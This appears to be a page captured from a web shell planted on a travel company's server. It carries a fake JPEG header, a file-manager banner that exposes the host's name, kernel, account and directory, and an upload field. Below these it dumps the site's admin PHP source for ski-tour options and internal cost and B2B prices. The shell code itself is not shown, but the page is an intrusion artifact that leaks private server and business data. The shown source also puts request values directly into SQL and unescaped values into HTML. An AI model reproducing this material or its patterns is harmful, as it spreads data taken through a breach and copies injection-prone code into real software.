ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/good/ |
Upload File : |
<? include "../include/top_proc.html"; $CommonTour = new CommonTour(); // 상품정보 $data_good = good_list(" and g_uid='{$g_uid}' "); $row_good = good_list_replace($data_good[0]); // 옵션목록 $data_option = good_option($g_uid); // 선택된 옵션 목록 if ($d_uid) { $data = date_list($g_uid,"none"," and d_uid='{$d_uid}' "); $row = date_list_replace($data[0]); $good_option_arr = $row['good_option_all']; /*if(devCookie()){ p($data); }*/ // ||1038^滑雪吊車券 x 1人^35000^||1039^觀光纜車 x 1次 (來回)^15000^||1089^Snowboard私人滑雪教學 (2小時)^358000^||1103^SKI私人滑雪教學 (2小時)^300000^||1088^由雙板換成Snowboard (不提供教學)^0^||1093^無需提供滑雪裝備, 滑雪服裝及滑雪教學^-30000^ } ?> <div style="height: 200px; width:650px;overflow-x: hidden; overflow-y: auto;float:left;"> <table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write" id="setting_write_option"> <tr> <th width="10px"> <input type="checkbox" id="option_all_item"> </th> <th>옵션명</th> <?php if(devCookie()){ ?> <th>원가</th><!-- <th>대리점가</th>--> <th>B2B</th><!-- <th>대리점가</th>--> <?php } ?> <th>B2C</th><!-- <th>대리점가</th>--> </tr> <? for($a=0 ; $a<count($data_option) ;$a++) { $r = $data_option[$a]; $check=""; if(is_array($good_option_arr)) { foreach($good_option_arr as $v) { if($v['opid']==$r['opid']) $check="checked"; } } $op_price_sell=$r['op_price_sell']; /* if($row_good['exchange_fg']=="Y") { $op_price_sell=$CommonTour->exchangeMoney(array("exid"=>$row_good['exid'],"money"=>$r['op_price_sell'])); } */ ?> <tr> <td> <input type="checkbox" name="" value="<?=$r['opid']?>" <?=$check?>> <input type="hidden" name="" value="<?=$r['op_nm']?>"> <input type="hidden" name="" value="<?=$op_price_sell?>"> <!--<input type="hidden" name="" value="<?=$r['op_price_agent']?>">--> </td> <td><?=$r['op_nm']?></td> <?php if(devCookie()){ ?> <td style="text-align:center"><?=number_format($r['op_price_cost'])?></td> <td style="text-align:center"><?=number_format($r['op_price_agent'])?></td> <?php } ?> <td style="text-align:center"><?=number_format($r['op_price_sell'])?></td> <!-- <td><?=$r['op_price_agent']?><?=$row_good['ext_nm']?></td>--> </tr> <? } ?> </table> </div> <div style="height: 200px; width:650px;overflow-x: hidden; overflow-y: auto;padding-left:5px;float:left;"> <table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write" id="setting_write_option2"> <tr> <th>옵션명</th> <th>원가</th> <th>B2B</th> <th>B2C</th> <th width="30px">-</th> <? if($good_option_arr){ /*if(devCookie()){ p($good_option_arr); exit; }*/ if(is_array($good_option_arr)) { foreach($good_option_arr as $v) { ?> <tr> <td> <input type="hidden" name="opid_ar[]" value="<?=$v['opid']?>"> <input type="hidden" name="op_nm_ar[]" value="<?=$v['op_nm']?>"> <input type="hidden" name="op_price_sell_ar[]" value="<?=$v['op_price_sell']?>"> <!-- <input type="hidden" name="op_price_agent_ar[]" value="<?=$v['op_price_agent']?>">--> <?=$v['op_nm']?> </td> <td style="text-align:center"><?=number_format($v['op_price_cost'])?></td> <td style="text-align:center"><?=number_format($v['op_price_agent'])?></td> <td style="text-align:center"><?=number_format($v['op_price_sell'])?></td> <!-- <td><?=number_format($v['op_price_agent'])?></td>--> <td><span class="" style="cursor: pointer;" onclick="good_option_delrow($(this))">del</span></td> </tr> <? } } } ?> </tr> </table> </div> <script type="text/javascript"> $(document).ready(function(){ $("#setting_write_option > tbody > tr > td > input:checkbox").click(function(){ var opid = $(this).val(); var op_nm = $(this).parent().find("input:eq(1)").val(); var op_price_sell = $(this).parent().find("input:eq(2)").val(); //var op_price_agent = $(this).parent().find("input:eq(3)").val(); if($(this).prop("checked")==true) { str = "<tr>"; str = str + "<td><input type='hidden' name='opid_ar[]' value='"+opid+"'>"; str = str + "<input type='hidden' name='op_nm_ar[]' value='"+op_nm+"'>"; str = str + "<input type='hidden' name='op_price_sell_ar[]' value='"+op_price_sell+"'>"; //str = str + "<input type='hidden' name='op_price_agent_ar[]' value='"+op_price_agent+"'>"; str = str + op_nm+"</td>"; str = str + "<td>"+number_format(op_price_sell.toString())+"원</td>"; //str = str + "<td>"+number_format(op_price_agent.toString())+"</td>"; str = str + "<td><span class='' style='cursor:pointer;' onclick=\"good_option_delrow($(this))\">del</span></td>"; str = str + "</tr>"; $("#setting_write_option2 > tbody ").append(str); } else{ $("#setting_write_option2 > tbody > tr > td > input:hidden").each(function(){ if(opid==$(this).val()) { $(this).parent().parent().remove(); } }); } }); $("#option_all_item").click(function() { var ck = $(this).prop("checked"); $("#setting_write_option > tbody > tr > td > input:checkbox").each(function(){ $(this).trigger("click"); }); }); }); function good_option_delrow($obj) { var opid = $obj.parent().parent().find("input:eq(0)").val(); $("#setting_write_option > tbody > tr > td > input:checkbox").each(function(){ if($(this).val()==opid) $(this).prop("checked",false); }); $obj.parent().parent().remove(); } </script>